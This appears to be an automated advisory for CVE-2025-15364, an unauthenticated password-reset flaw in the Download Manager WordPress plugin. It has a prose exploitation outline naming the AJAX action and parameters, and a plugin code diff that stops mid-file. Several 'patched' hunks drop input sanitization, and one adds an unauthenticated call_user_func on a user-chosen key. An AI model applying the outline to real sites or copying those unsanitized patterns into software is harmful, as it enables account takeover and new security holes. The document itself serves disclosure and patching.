Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15364: Download Manager <= 3.3.40 – Unauthenticated Limited Privilege Escalation via updatePassword (download-manager)

Severity High (CVSS 7.3)
CWE 353
Vulnerable Version 3.3.40
Patched Version 3.3.41
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15364:
The Download Manager WordPress plugin versions up to and including 3.3.40 contain an unauthenticated privilege escalation vulnerability. The flaw resides in the password reset functionality, allowing attackers to change passwords for non-administrator user accounts. This leads to account takeover and limited privilege escalation.

Root Cause:
The vulnerability exists in the `updatePassword` method within `/download-manager/src/User/Login.php`. The function accepted a user object encrypted in the `__up_user` parameter and verified a global nonce (`NONCE_KEY`). It did not validate the requesting user’s identity or session. The function only performed a basic check to block password resets for users with the `manage_options` capability. An attacker could craft a request containing a valid global nonce and a valid encrypted user object for any non-administrator user to reset that user’s password.

Exploitation:
An attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `wpdm_update_pass`. The request must include the parameters `__wpdm_update_pass` (a valid global nonce), `__up_user` (an encrypted user object for the target), and `password` (the new password). The nonce could be obtained from other plugin pages. The encrypted user object could be constructed by an attacker who knows or can guess a target user’s ID or username, as the encryption key (`NONCE_KEY`) is a static site secret.

Patch Analysis:
The patch in version 3.3.41 completely rewrites the `updatePassword` method. The new implementation replaces the global nonce check with a user-specific nonce (`wpdm_password_reset_` . $user->ID). It removes the direct use of the encrypted `__up_user` parameter. Instead, it uses WordPress’s native `check_password_reset_key` function alongside a `login` parameter and a `key` parameter, which are standard for WordPress password resets. This ensures the request is part of a valid password reset flow initiated by the user. The patch also adds a constant-based opt-in (`WPDM_ADMIN_ALLOW_RESET_PASS`) for administrator resets.

Impact:
Successful exploitation allows an unauthenticated attacker to change the password of any non-administrator user account. This results in a complete account takeover, granting the attacker the privileges of the compromised user. Attackers can leverage this to access sensitive user data, perform actions as the user, and potentially chain this access with other vulnerabilities for further site compromise.

Differential between vulnerable and patched code

Code Diff
--- a/download-manager/download-manager.php
+++ b/download-manager/download-manager.php
@@ -5,7 +5,7 @@
 Description: Manage, Protect and Track file downloads, and sell digital products from your WordPress site. A complete digital asset management solution.
 Author: W3 Eden, Inc.
 Author URI: https://www.wpdownloadmanager.com/
-Version: 3.3.40
+Version: 3.3.41
 Text Domain: download-manager
 Domain Path: /languages
 */
@@ -40,7 +40,7 @@

 global $WPDM;

-define('WPDM_VERSION','3.3.40');
+define('WPDM_VERSION','3.3.41');

 define('WPDM_TEXT_DOMAIN','download-manager');

--- a/download-manager/src/Package/views/lock-options-iframe.php
+++ b/download-manager/src/Package/views/lock-options-iframe.php
@@ -37,7 +37,6 @@
             const wpdm_url = <?php echo json_encode(WPDM()->wpdm_urls);?>;
         </script>
         <link rel="stylesheet" href="<?php echo WPDM_ASSET_URL; ?>css/front.min.css" />
-        <link rel="stylesheet" href="<?= WPDM_FONTAWESOME_URL ?>" />
         <script src="<?php echo includes_url(); ?>/js/jquery/jquery.js"></script>
         <script src="<?php echo includes_url(); ?>/js/jquery/jquery.form.min.js"></script>
         <script src="<?php echo WPDM_ASSET_URL; ?>js/wpdm.js"></script>
--- a/download-manager/src/User/Dashboard.php
+++ b/download-manager/src/User/Dashboard.php
@@ -2,7 +2,6 @@

 namespace WPDMUser;

-use WPDM____;
 use WPDM__Template;

 class Dashboard
@@ -32,7 +31,7 @@
         //$this->dashboard_menu
         $user[''] = ['name' => __("Profile", "download-manager"), 'callback' => [$this, 'profile']];
         $user['download-history'] = ['name' => __("Download History", "download-manager"), 'callback' => [$this, 'downloadHistory']];
-        $account['edit-profile'] = ['name' => __("Edit Profile", "download-manager"), 'shortcode' => "[wpdm_edit_profile]"];
+        $account['edit-profile'] = ['name' => __("Edit Profile", "download-manager"), 'callback' => [WPDM()->user->editProfile, 'editProfile']];
         $user = apply_filters("wpdm_user_dashboard_menu", $user);
         $account = apply_filters("wpdm_user_dashboard_menu_account", $account);
         $this->dashboard_menu['user'] = array(
@@ -53,8 +52,6 @@
     {
         global $wp_query, $WPDM;

-	    $params = __::sanitize_array($params, 'safetxt');
-
         ob_start();
         if (!is_user_logged_in()) {
             echo WPDM()->user->login->form($params);
@@ -71,6 +68,7 @@
             $udb_page_parts = explode("/", $udb_page);
             $udb_page = $udb_page_parts[0];
             $udb_page_parts = array_merge($udb_page_parts, $params);
+            $dashboard_contents = "";
             if (isset($all_dashboard_menu_items[$udb_page]['callback']))
                 $dashboard_contents = call_user_func($all_dashboard_menu_items[$udb_page]['callback'], $udb_page_parts);
             else if (isset($all_dashboard_menu_items[$udb_page]['shortcode']))
@@ -80,18 +78,18 @@
             //else if(isset($this->dashboard_menu_actions[$udb_page]['shortcode']))
             //    $dashboard_contents = do_shortcode($this->dashboard_menu_actions[$udb_page]['shortcode']);

-            $default_icons[''] = 'wpdm-user';
-            $default_icons['purchases'] = 'wpdm-shopping-cart color-success';
-            $default_icons['messages'] = 'wpdm-chat color-success';
-            $default_icons['download-history'] = 'wpdm-layer-group color-info';
-            $default_icons['edit-profile'] = 'wpdm-user-edit color-green';
-            $default_icons['subscription-plan'] = 'wpdm-crown color-info';
-            $default_icons['subscription-download-area'] = 'wpdm-circle-down color-info';
-            $default_icons['affiliate-stats'] = 'wpdm-share color-info';
-            $default_icons['affiliates'] = 'wpdm-share color-info';
-            $default_icons['file-cart'] = 'wpdm-cart-arrow-down color-info';
-            $default_icons['my-downloads'] = 'wpdm-arrow-down color-info';
-            $default_icons['account-credits'] = 'wpdm-credit-card color-success';
+	        $default_icons[''] = 'wpdm-user';
+	        $default_icons['purchases'] = 'wpdm-shopping-cart color-success';
+	        $default_icons['messages'] = 'wpdm-chat color-success';
+	        $default_icons['download-history'] = 'wpdm-layer-group color-info';
+	        $default_icons['edit-profile'] = 'wpdm-user-edit color-green';
+	        $default_icons['subscription-plan'] = 'wpdm-crown color-info';
+	        $default_icons['subscription-download-area'] = 'wpdm-circle-down color-info';
+	        $default_icons['affiliate-stats'] = 'wpdm-share color-info';
+	        $default_icons['affiliates'] = 'wpdm-share color-info';
+	        $default_icons['file-cart'] = 'wpdm-cart-arrow-down color-info';
+	        $default_icons['my-downloads'] = 'wpdm-arrow-down color-info';
+	        $default_icons['account-credits'] = 'wpdm-credit-card color-success';

             $default_icons = apply_filters("wpdm_user_dashboard_icons", $default_icons);

@@ -123,3 +121,4 @@

 }

+
--- a/download-manager/src/User/EditProfile.php
+++ b/download-manager/src/User/EditProfile.php
@@ -1,6 +1,5 @@
 <?php

-
 namespace WPDMUser;

 use WPDM____;
@@ -50,8 +49,7 @@

     function updateProfile()
     {
-        global $current_user;
-
+        $current_user = wp_get_current_user();
         if (isset($_POST['wpdm_profile']) && is_user_logged_in() && wp_verify_nonce(wpdm_query_var('__wpdm_epnonce'), NONCE_KEY)) {

             $error = 0;
@@ -60,7 +58,7 @@
             $pfile_data['user_email'] = sanitize_email($_POST['wpdm_profile']['user_email']);


-            if ($_POST['password'] != $_POST['cpassword']) {
+            if ($_POST['password'] !== $_POST['cpassword']) {
                 Session::set('member_error', 'Password not matched');
                 $error = 1;
             }
@@ -71,10 +69,22 @@

                 wp_update_user($pfile_data);

-                update_user_meta($current_user->ID, 'payment_account', wpdm_query_var('payment_account'));
+                update_user_meta($current_user->ID, '__wpdm_title', __::query_var('wpdm_profile/title', 'txt'));
+                update_user_meta($current_user->ID, 'description', __::query_var('wpdm_profile/description', 'txt'));
+
+				if(isset($_POST['payment_account']))
+					update_user_meta($current_user->ID, 'payment_account', $_POST['payment_account']);
+
                 Session::set('member_success', 'Profile data updated successfully.');
             }

+			if(__::query_var('__wpdm_profile_pic')) {
+				$profile = maybe_unserialize(get_user_meta(get_current_user_id(), '__wpdm_public_profile', true));
+				if(!is_array($profile)) $profile = [];
+				$profile['logo'] = __::query_var('__wpdm_profile_pic', 'url');
+				update_user_meta(get_current_user_id(), '__wpdm_public_profile', $profile);
+			}
+
             do_action("wpdm_update_profile", $current_user->ID);

             if (wpdm_is_ajax()) {
@@ -96,7 +106,7 @@
                     die();
                 }
             }
-            header("location: " . sanitize_text_field($_SERVER['HTTP_REFERER']));
+            header("location: " . $_SERVER['HTTP_REFERER']);
             die();
         }
     }
--- a/download-manager/src/User/Login.php
+++ b/download-manager/src/User/Login.php
@@ -40,11 +40,49 @@
         // Logout url shortcode
         add_shortcode('wpdm_logout_url', array($this, 'logoutURLShortcode'));

+        add_filter("login_url", [$this, 'loginURL'], 999999, 3);
+        add_filter("logout_url", [$this, 'logoutURL'], 999999, 2);
+        add_filter("init", [$this, 'loginURLRedirect']);
+        add_filter("template_include", [$this, 'interimLogin'], 9999);
+        add_filter('the_content', array($this, 'validateLoginPage'));

-        add_filter('authenticate', [$this, 'verifyLoginEmail'], 999999, 3);
+	    add_filter('authenticate', [$this, 'verifyLoginEmail'], 999998, 3);
+	    add_filter('authenticate', [$this, 'verifyUserStatus'], 999999, 3);
+	    add_filter('authenticate', [$this, 'reCaptchaVerify'], 999999, 3);

+        add_action("login_form", [$this, 'reCaptcha']);
+
+    }
+
+
+	function reCpathcaActive() {
+		$active_captcha = (int)get_option('__wpdm_recaptcha_loginform', 0) === 1 && get_option('_wpdm_recaptcha_secret_key', '') != '';
+		$active_captcha = apply_filters("signin_form_captcha", $active_captcha);
+        return $active_captcha;
+    }
+
+    function reCaptcha() {
+        if($this->reCpathcaActive()) {
+            $form = new Form(['__recap' => [
+	            'type' => 'reCaptcha',
+	            'attrs' => ['name' => '__recap', 'id' => '__recap'],
+            ]], ['noForm' => true]);
+            echo $form->render();
+        }
     }

+
+	function reCaptchaVerify($user, $user_login, $user_pass) {
+		if ($this->reCpathcaActive()) {
+			$ret = wpdm_remote_post('https://www.google.com/recaptcha/api/siteverify', array('secret' => get_option('_wpdm_recaptcha_secret_key', ''), 'response' => wpdm_query_var('__recap')));
+			$ret = json_decode($ret);
+			if (!$ret->success) {
+				return new WP_Error( 'recaptcha_failed', __( '<strong>Error:</strong> Captcha verification failed!', 'download-manager' ) );
+			}
+		}
+		return $user;
+	}
+
     function formFields($params = [])
     {
         $login_data_fields['__phash'] = ['type' => 'hidden', 'attrs' => ['name' => '__phash', 'id' => '__phash', 'value' => Crypt::encrypt($params)]];
@@ -56,9 +94,9 @@
         $login_data_fields['password'] = array(
             'label' => __("Password", "download-manager"),
             'type' => 'password',
-            'attrs' => array('name' => 'wpdm_login[pwd]', 'id' => 'password', 'required' => 'required', 'placeholder' => __("Enter Password", "download-manager")),
+            'attrs' => array('name' => 'wpdm_login[pwd]', 'id' => 'password', 'required' => 'required', 'placeholder' => __("Enter Password", "download-manager"), 'strength' => 0),
         );
-        if (!isset($params['captcha']) || $params['captcha'] === true) {
+        /*if (!isset($params['captcha']) || $params['captcha'] === true) {
             $show_captcha = (int)get_option('__wpdm_recaptcha_loginform', 0) === 1 && get_option('_wpdm_recaptcha_secret_key', '') != '';
             $show_captcha = apply_filters("signin_form_captcha", $show_captcha);
             if ($show_captcha) {
@@ -67,7 +105,7 @@
                     'attrs' => array('name' => '__recap', 'id' => '__recap'),
                 );
             }
-        }
+        }*/
         $login_data_fields = apply_filters("wpdm_login_form_fields", $login_data_fields);
         $form = new Form($login_data_fields, ['name' => 'wpdm_login_form', 'id' => 'wpdm_login_form', 'method' => 'POST', 'action' => '', 'submit_button' => [], 'noForm' => true]);
         return $form->render();
@@ -89,17 +127,20 @@
             extract($params);
         if (!isset($redirect)) $redirect = get_permalink(get_option('__wpdm_user_dashboard'));

+        $_social_only = isset($params['social_only']) && ($params['social_only'] === 'true' || (int)$params['social_only'] === 1) ? true : false;
+        $_show_captcha = !isset($params['captcha']) || ($params['captcha'] === 'true' || (int)$params['captcha'] === 1) ? true : false;
+
         if (!isset($regurl)) {
             $regurl = get_option('__wpdm_register_url');
             if ($regurl > 0)
                 $regurl = get_permalink($regurl);
         }
-        $log_redirect = __::valueof($_SERVER, 'REQUEST_URI', ['validate' => 'txt']);
-        if (isset($params['redirect'])) $log_redirect = esc_url_raw($params['redirect']);
-        if (isset($_GET['redirect_to'])) $log_redirect = esc_url_raw($_GET['redirect_to']);
-
+        $log_redirect = __::valueof($_SERVER, 'REQUEST_URI', ['validate' => 'escs']);
+        if (isset($params['redirect'])) $log_redirect = wpdm_valueof($params, 'redirect');
+        if (isset($_GET['redirect_to'])) $log_redirect = wpdm_query_var('redirect_to');
+	    $log_redirect = urldecode($log_redirect);
         $up = parse_url($log_redirect);
-        if (isset($up['host']) && $up['host'] != $_SERVER['SERVER_NAME']) $log_redirect = __::valueof($_SERVER, 'REQUEST_URI', ['validate' => 'txt']);
+        if (isset($up['host']) && $up['host'] != $_SERVER['SERVER_NAME']) $log_redirect = __::valueof($_SERVER, 'REQUEST_URI', ['validate' => 'escs']);

         $log_redirect = strip_tags($log_redirect);

@@ -115,8 +156,9 @@
         else {
             if (__::query_var('action') === 'lostpassword')
                 $template = Template::locate('lost-password-form.php', __DIR__.'/views');
-            else if (__::query_var('action') === 'rp')
-                $template = Template::locate('reset-password-form.php', __DIR__.'/views');
+            else if (__::query_var('action') === 'rp') {
+                $template = Template::locate( 'reset-password-form.php', __DIR__ . '/views' );
+            }
             else
                 $template = Template::locate('login-form.php', __DIR__.'/views');
         }
@@ -143,30 +185,11 @@

         if ($login_try > 30) wp_die("Slow Down!");

-        if(!isset($shortcode_params['captcha']) || $shortcode_params['captcha'] ===  true) {
-            $active_captcha = (int)get_option('__wpdm_recaptcha_loginform', 0) === 1 && get_option('_wpdm_recaptcha_secret_key', '') != '';
-            $active_captcha = apply_filters("signin_form_captcha", $active_captcha);
-            if ($active_captcha) {
-                $ret = wpdm_remote_post('https://www.google.com/recaptcha/api/siteverify', array('secret' => get_option('_wpdm_recaptcha_secret_key', ''), 'response' => wpdm_query_var('__recap')));
-                $ret = json_decode($ret);
-                if (!$ret->success) {
-                    $login_error = __("Invalid CAPTCHA!", "download-manager");
-                    if (wpdm_is_ajax()) {
-                        wp_send_json(array('success' => false, 'message' => 'Error: ' . $login_error));
-                        die();
-                    }
-                    Session::set('login_error', $login_error);
-                    wp_safe_redirect(wpdm_query_var('permalink', 'url'));
-                    die();
-                }
-            }
-        }
-
         Session::clear('login_error');
         $creds = array();
-        $creds['user_login'] = isset($_POST['wpdm_login']['log']) ? wpdm_query_var('wpdm_login/log') : '';
+        $creds['user_login'] = isset($_POST['wpdm_login']['log']) ? $_POST['wpdm_login']['log'] : '';
         $creds['user_password'] = isset($_POST['wpdm_login']['pwd']) ? $_POST['wpdm_login']['pwd'] : '';
-        $creds['remember'] = isset($_POST['rememberme']) ? wpdm_query_var('rememberme', 'int') : false;
+        $creds['remember'] = isset($_POST['rememberme']) ? $_POST['rememberme'] : false;
         $user = wp_signon($creds, false);
         if (is_wp_error($user)) {
             $login_error = $user->get_error_message();
@@ -174,7 +197,7 @@
                 wp_send_json(array('success' => false, 'message' => $login_error));

             Session::set('login_error', $login_error);
-            wp_safe_redirect($_SERVER['HTTP_REFERER']);
+            wp_safe_redirect(wpdm_valueof($_SERVER, 'HTTP_REFERER', home_url('/')));
             die();
         } else {
             wp_set_auth_cookie($user->ID);
@@ -200,12 +223,12 @@

             if (empty($_POST['user_login'])) {
                 die('error');
-            } elseif (is_email($_POST['user_login'])) {
-                $user_data = get_user_by('email', sanitize_email($_POST['user_login']));
+            } elseif (strpos($_POST['user_login'], '@')) {
+                $user_data = get_user_by('email', trim(wp_unslash($_POST['user_login'])));
                 if (empty($user_data))
                     die('error');
             } else {
-                $login = sanitize_text_field($_POST['user_login']);
+                $login = trim($_POST['user_login']);
                 $user_data = get_user_by('login', $login);
             }
             if (Session::get('__reset_time') && time() - Session::get('__reset_time') < 60) {
@@ -231,31 +254,50 @@

     /**
      * Set new password
+     * Security: Uses user-specific nonce and blocks admin password resets by default
      */
     function updatePassword()
     {
-        if (__::query_var('__wpdm_update_pass')) {
+        $pass = __::query_var('password', 'html');
+        if ($pass == '') {
+            wp_send_json(array('success' => false, 'message' => __('Password cannot be empty.', 'download-manager')));
+        }

-            if (wp_verify_nonce(__::query_var('__wpdm_update_pass'), NONCE_KEY)) {
-                $pass = __::query_var('password','html');
-                if ($pass == '') die('error');
-                $user = Crypt::decrypt(__::query_var('__up_user'));
-                if (is_object($user) && isset($user->ID)) {
-
-                    if(user_can($user->ID, 'manage_options'))
-                        wp_send_json(array('success' => false, 'message' => apply_filters('wpdm_update_password_error', __('Password update is disabled for this user!', 'download-manager'))));
-
-                    wp_set_current_user($user->ID, $user->user_login);
-                    wp_set_auth_cookie($user->ID);
-                    //do_action('wp_login', $user->user_login);
-                    wp_set_password($pass, $user->ID);
-                    //print_r($user);
-                    wp_send_json(array('success' => true, 'message' => ''));
-                } else wp_send_json(array('success' => false, 'message' => apply_filters('wpdm_update_password_error', __('Session Expired! Please try again.', 'download-manager'))));
-            } else
-                wp_send_json(array('success' => false, 'message' => apply_filters('wpdm_update_password_error', __('Session Expired! Please try again.', 'download-manager'))));
+        // Decrypt user data first

+        $login = Crypt::decrypt(__::query_var('login'));
+        $user = check_password_reset_key(__::query_var('key'), $login);
+
+        if (!is_object($user) || !isset($user->ID)) {
+            wp_send_json(array('success' => false, 'message' => apply_filters('wpdm_update_password_error', __('Session Expired! Please try again.', 'download-manager'))));
+        }
+
+        // Verify user-specific nonce (prevents nonce reuse from other pages)
+        $nonce = wpdm_query_var('__wpdm_update_pass');
+        if (!wp_verify_nonce($nonce, 'wpdm_password_reset_' . $user->ID)) {
+            wp_send_json(array('success' => false, 'message' => __('Security token expired. Please try again.', 'download-manager')));
+        }
+
+        // Block admin password resets by default (can be allowed with WPDM_ADMIN_ALLOW_RESET_PASS constant)
+        if (user_can($user->ID, 'manage_options')) {
+            if (!defined('WPDM_ADMIN_ALLOW_RESET_PASS') || constant('WPDM_ADMIN_ALLOW_RESET_PASS') !== true) {
+                wp_send_json(array(
+                    'success' => false,
+                    'message' => apply_filters('wpdm_update_password_error', __('Password update is disabled for admin users.', 'download-manager'))
+                ));
+            }
+        }
+
+        // Verify the user still exists in database
+        $db_user = get_userdata($user->ID);
+        if (!$db_user) {
+            wp_send_json(array('success' => false, 'message' => __('User not found.', 'download-manager')));
         }
+
+        wp_set_current_user($user->ID, $db_user->user_login);
+        wp_set_auth_cookie($user->ID);
+        wp_set_password($pass, $user->ID);
+        wp_send_json(array('success' => true, 'message' => ''));
     }

     /**
@@ -266,9 +308,9 @@
     function url($redirect = '')
     {
         $id = get_option('__wpdm_login_url', 0);
-        if ($id > 0) {
+        if ($id > 0 && function_exists('get_page_link')) {
             $page = get_post($id);
-            if ($page->post_status == 'publish') {
+            if ($page && get_post_type($page) === 'page' && $page->post_status == 'publish') {
                 $url = get_page_link($page);
                 //$url = $page->guid;
                 if ($redirect != '')
@@ -278,6 +320,32 @@
         return $url;
     }

+    function lostPasswordURL()
+    {
+        return add_query_arg(array('action' => 'lostpassword'), $this->url());
+    }
+
+    /**
+     * Alter default login url
+     * @param $login_url
+     * @param $redirect
+     * @param $force_reauth
+     * @return string
+     */
+    function loginURL($login_url, $redirect, $force_reauth)
+    {
+        $id = get_option('__wpdm_login_url', 0);
+        if ($id > 0 && function_exists('get_page_link')) {
+            $page = get_post($id);
+            if ($page && $page->post_status == 'publish') {
+                $url = get_page_link($page);
+                //$url = $page->guid;
+                if ($redirect != '')
+                    $url = add_query_arg(array('redirect_to' => urlencode($redirect)), $url);
+            } else $url = $login_url;
+        } else $url = $login_url;
+        return $url;
+    }

     /**
      * @param array $params
@@ -288,8 +356,8 @@
         if ((int)get_option('__wpdm_modal_login', 0) !== 1) return "";
         $defaults = array('class' => '', 'redirect' => '', 'logo' => '', 'label' => __('Login', 'download-manager'), 'id' => 'wpdmmodalloginbtn');
         $params = shortcode_atts($defaults, $params, 'wpdm_modal_login_form');
-        $redirect = isset($params['redirect']) && $params['redirect'] !== '' ? "data-redirect='".esc_url($params['redirect'])."'" : '';
-        $logo = isset($params['logo']) && $params['logo'] !== '' ? "data-logo='{".esc_attr($params['logo'])."}'" : '';
+        $redirect = isset($params['redirect']) && $params['redirect'] !== '' ? "data-redirect='".esc_attr($params['redirect'])."'" : '';
+        $logo = isset($params['logo']) && $params['logo'] !== '' ? "data-logo='".esc_attr($params['logo'])."'" : '';
         ob_start();
         ?>
         <div class="w3eden d-inline-block"><a href="#" <?php echo $redirect; ?> <?php echo $logo; ?> type="button"
@@ -322,12 +390,12 @@
             if ($regurl > 0)
                 $regurl = get_permalink($regurl);
         }
-        $log_redirect = __::valueof($_SERVER, 'REQUEST_URI', ['validate' => 'txt']);
-        if (isset($params['redirect'])) $log_redirect = esc_url_raw($params['redirect']);
-        if (isset($_GET['redirect_to'])) $log_redirect = esc_url_raw($_GET['redirect_to']);
+        $log_redirect = __::valueof($_SERVER, 'REQUEST_URI', ['validate' => 'escs']);
+        if (isset($params['redirect'])) $log_redirect = esc_url($params['redirect']);
+        if (isset($_GET['redirect_to'])) $log_redirect = esc_url($_GET['redirect_to']);

         $up = parse_url($log_redirect);
-        if (isset($up['host']) && $up['host'] != $_SERVER['SERVER_NAME']) $log_redirect = __::valueof($_SERVER, 'REQUEST_URI', ['validate' => 'txt']);
+        if (isset($up['host']) && $up['host'] != $_SERVER['SERVER_NAME']) $log_redirect = __::valueof($_SERVER, 'REQUEST_URI', ['validate' => 'escs']);

         $log_redirect = strip_tags($log_redirect);

@@ -347,19 +415,59 @@
         return $content;
     }

+    /**
+     * Logout url
+     * @param $logout_url
+     * @param $redirect
+     * @return string|void
+     */
+    function logoutURL($logout_url, $redirect)
+    {
+	    $id = get_option('__wpdm_login_url', 0);
+	    if(!$id) return $logout_url;
+        $logout_url = wpdm_logout_url($redirect);
+        return $logout_url;
+    }
+
     function logoutURLShortcode($params)
     {
         $redirect = isset($params['r']) ? $params['r'] : '';
         return wpdm_logout_url($redirect);
     }

+    function loginURLRedirect()
+    {
+        if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] == 'GET' && substr_count($_SERVER['REQUEST_URI'], 'wp-login.php') && !wpdm_query_var('skipwpdm', 'int') && wpdm_query_var('action', 'txt') !== 'rp') {
+            $id = get_option('__wpdm_login_url', 0);
+            if ($id > 0) {
+                $page = get_post($id);
+                if ($page->post_status == 'publish') {
+                    if (is_user_logged_in()) {
+                        wp_redirect(wpdm_user_dashboard_url());
+                    } else {
+                        wp_redirect(add_query_arg($_GET, $this->url()));
+                    }
+                    die();
+                }
+            }
+        }
+    }
+
+    function interimLogin($template)
+    {
+        if (isset($_REQUEST['interim-login']) && !isset($_POST['wpdm_login'])) {
+            $template = Template::locate('clean.php', __DIR__.'/views');
+        }
+        return $template;
+    }
+
     function verifyLoginEmail($user, $user_login, $user_pass)
     {

-        if((!is_object($user) || get_class($user) !== 'WP_User') && !$user_login) return $user;
+	    if((!is_object($user) || get_class($user) !== 'WP_User') && !$user_login) return $user;

         $user_email = null;
-        if(!is_email($user_login) && !$user && $user_login) {
+        if(!is_email($user_login) && !$user) {
             $_user = get_user_by('user_login', $user_login);
             if($_user)
                 $user_email = $_user->user_email;
@@ -367,16 +475,44 @@
             $user_email = $user_login;
         else if($user && isset($user->user_email))
             $user_email = $user->user_email;
-
-        if (is_email($user_email) && !wpdm_verify_email($user_email)) {
+        $cusr = $user ?: $_user;
+        if (is_email($user_email) && !wpdm_verify_email($user_email) && !user_can($cusr, 'manage_options')) {
             $user = new WP_Error();
-            $emsg = get_option('__wpdm_blocked_domain_msg');
-            if (trim($emsg) === '') $emsg = __('Your email address is blocked!', 'download-manager');
+            $emsg = esc_html(get_option('__wpdm_blocked_domain_msg'));
+            if (trim($emsg) === '') $emsg = esc_html__('Your email address is blocked!', 'download-manager');
             $user->add('blocked_email', $emsg);
         }
         return $user;
     }

+    function verifyUserStatus($user, $user_login, $user_pass)
+    {
+
+	    if((!is_object($user) || get_class($user) !== 'WP_User') && !$user_login) return $user;
+
+        if($user_login && WPDM()->user->requiresApproval() && !WPDM()->user->isApproved($user->ID)) {
+            $status = WPDM()->user->getStatus($user->ID);
+	        $user = new WP_Error();
+	        if($status === 'pending') {
+		        $pemsg = esc_html(get_option('__wpdm_pending_approval_msg'));
+		        if (trim($pemsg) === '') $pemsg = esc_html__('Your signup is pending approval, we shall mail you as soon as your are approved!', 'download-manager');
+		        $user->add( 'pending_approval', $pemsg );
+	        }
+            else if($status === 'suspended') {
+		        $pemsg = esc_html(get_option('__wpdm_suspended_acc_msg'));
+		        if (trim($pemsg) === '') $pemsg = esc_html__('Your account has been suspended, you are not allowed to login!', 'download-manager');
+		        $user->add( 'pending_approval', $pemsg );
+	        }
+            else if($status === 'declined') {
+	            $pdmsg = esc_html(get_option('__wpdm_declined_signup_msg'));
+	            $pdmsg = str_replace("{status}", $status, $pdmsg);
+	            if (trim($pdmsg) === '') $pdmsg = esc_html__("Your signup request was declined, you are not allowed to login!", 'download-manager');
+	            $user->add( 'pending_approval', $pdmsg );
+            }
+        }
+        return $user;
+    }
+
     /**
      * Modal login form
      * @param array $params
@@ -398,12 +534,12 @@
             if ($regurl > 0)
                 $regurl = get_permalink($regurl);
         }
-        $log_redirect = __::valueof($_SERVER, 'REQUEST_URI', ['validate' => 'txt']);
-        if (isset($params['redirect'])) $log_redirect = esc_url_raw($params['redirect']);
-        if (isset($_GET['redirect_to'])) $log_redirect = esc_url_raw($_GET['redirect_to']);
+        $log_redirect = __::valueof($_SERVER, 'REQUEST_URI', ['validate' => 'escs']);
+        if (isset($params['redirect'])) $log_redirect = esc_url($params['redirect']);
+        if (isset($_GET['redirect_to'])) $log_redirect = esc_url($_GET['redirect_to']);

         $up = parse_url($log_redirect);
-        if (isset($up['host']) && $up['host'] != $_SERVER['SERVER_NAME']) $log_redirect = __::valueof($_SERVER, 'REQUEST_URI', ['validate' => 'txt']);
+        if (isset($up['host']) && $up['host'] != $_SERVER['SERVER_NAME']) $log_redirect = __::valueof($_SERVER, 'REQUEST_URI', ['validate' => 'escs']);

         $log_redirect = strip_tags($log_redirect);

@@ -423,5 +559,23 @@
         return $content;
     }

+    /**
+     * If user select a page for login from wpdm setting without login form shortcode on that page, this functional will replace the page content with login form automatically
+     * @param $content
+     * @return mixed|string
+     */
+    function validateLoginPage($content)
+    {
+        if (is_singular('page')) {
+            $id = get_option('__wpdm_login_url', 0);
+            if ($id > 0 && $id == get_the_ID()) {
+                if (!has_shortcode($content, 'wpdm_login_form') && !has_shortcode($content, 'wpdm_user_dashboard') && !has_shortcode($content, 'wpdm_author_dashboard')) {
+                    $content = $this->form();
+                }
+            }
+        }
+        return $content;
+
+    }

 }
--- a/download-manager/src/User/PublicProfile.php
+++ b/download-manager/src/User/PublicProfile.php
@@ -0,0 +1,108 @@
+<?php
+namespace WPDMUser;
+
+
+use WPDM____;
+use WPDM__Crypt;
+use WPDM__Messages;
+
+class PublicProfile
+{
+
+    public $profile_menu;
+    public $user;
+
+    private static $instance;
+
+    public static function getInstance()
+    {
+        if (self::$instance === null) {
+            self::$instance = new self;
+        }
+        return self::$instance;
+    }
+
+    function __construct(){
+        add_action("init", array($this, 'profileMenuInit'));
+        add_action("wp_ajax_wpdm_get_profile_menu_content", array($this, 'menuContent'));
+        add_action("wp_ajax_nopriv_wpdm_get_profile_menu_content", array($this, 'menuContent'));
+        add_shortcode("wpdm_user_profile", array($this, 'profile'));
+    }
+
+    function profileMenuInit(){
+        $this->profile_menu['downloads'] = array('icon' => 'fas fa-arrow-alt-circle-down', 'name'=> __( "Downloads" , "download-manager" ), 'content' => array($this, 'downloads'));
+        $this->profile_menu['favourites'] = array('icon' => 'fas fa-heart', 'name'=> __( "Favourites" , "download-manager" ), 'content' => array($this, 'favourites'));
+        $this->profile_menu = apply_filters("wpdm_user_profile_menu", $this->profile_menu);
+    }
+
+    function menuContent(){
+        call_user_func($this->profile_menu[wpdm_query_var('__pmenu')]['content']);
+        die();
+    }
+
+    function profile($params = array()){
+        global $wp_query;
+
+        if(!isset($params) || !is_array($params)) $params = array();
+
+        //if(is_admin()) return "";
+
+        ob_start();
+
+        $username = urldecode(get_query_var('profile'));
+        if(is_author())
+            $username = get_query_var('author_name');
+        if($username)
+            $user = get_user_by('slug', $username);
+        else
+            $user = wp_get_current_user();
+
+        $cols = isset($params['cols'])?$params['cols']:3;
+        $items_per_page = isset($params['items_per_page'])?$params['items_per_page']:$cols*3;
+        $cols = 12/$cols;
+        $template = isset($params['template'])?$params['template']:'link-template-panel.php';
+		$header = __::valueof($params, 'header', ['default' => 'default']);
+		$headers = ['default' => 'default.php', 'facebook' => 'facebook.php'];
+		$header = isset($headers[$header]) ? $headers[$header] : 'default.php';
+
+        $user_ID = $user->ID;
+        $store = get_user_meta($user_ID, '__wpdm_public_profile', true);
+        if(!is_array($store)) $store = array();
+        $store['logo'] = isset($store['logo'])?$store['logo']:get_avatar_url($user_ID);
+        $store['title'] = isset($store['title']) && $store['title'] != '' ? $store['title'] : $user->display_name;
+        $store['intro'] = isset($store['intro']) && $store['intro'] != '' ? $store['intro'] : '';
+        $store['description'] = isset($store['description']) && $store['description'] != '' ? $store['description'] : '';
+        $store['banner'] = isset($store['banner']) && $store['banner'] != '' ? $store['banner'] : '';
+        $store['bgcolor'] = isset($store['bgcolor']) && $store['bgcolor'] != '' ? $store['bgcolor'] : '#eeeeee';
+        $store['txtcolor'] = isset($store['txtcolor']) && $store['txtcolor'] != '' ? $store['txtcolor'] : '#333333';
+        $mydownloads = count_user_posts($user->ID, 'wpdmpro');
+        $rgb = wpdm_hex2rgb($store['bgcolor']);
+        $first_menu = array_keys($this->profile_menu);
+        $first_menu = $first_menu[0];
+        include WPDM()->template->locate('public-profile.php', __DIR__.'/views');
+        return ob_get_clean();
+    }
+
+
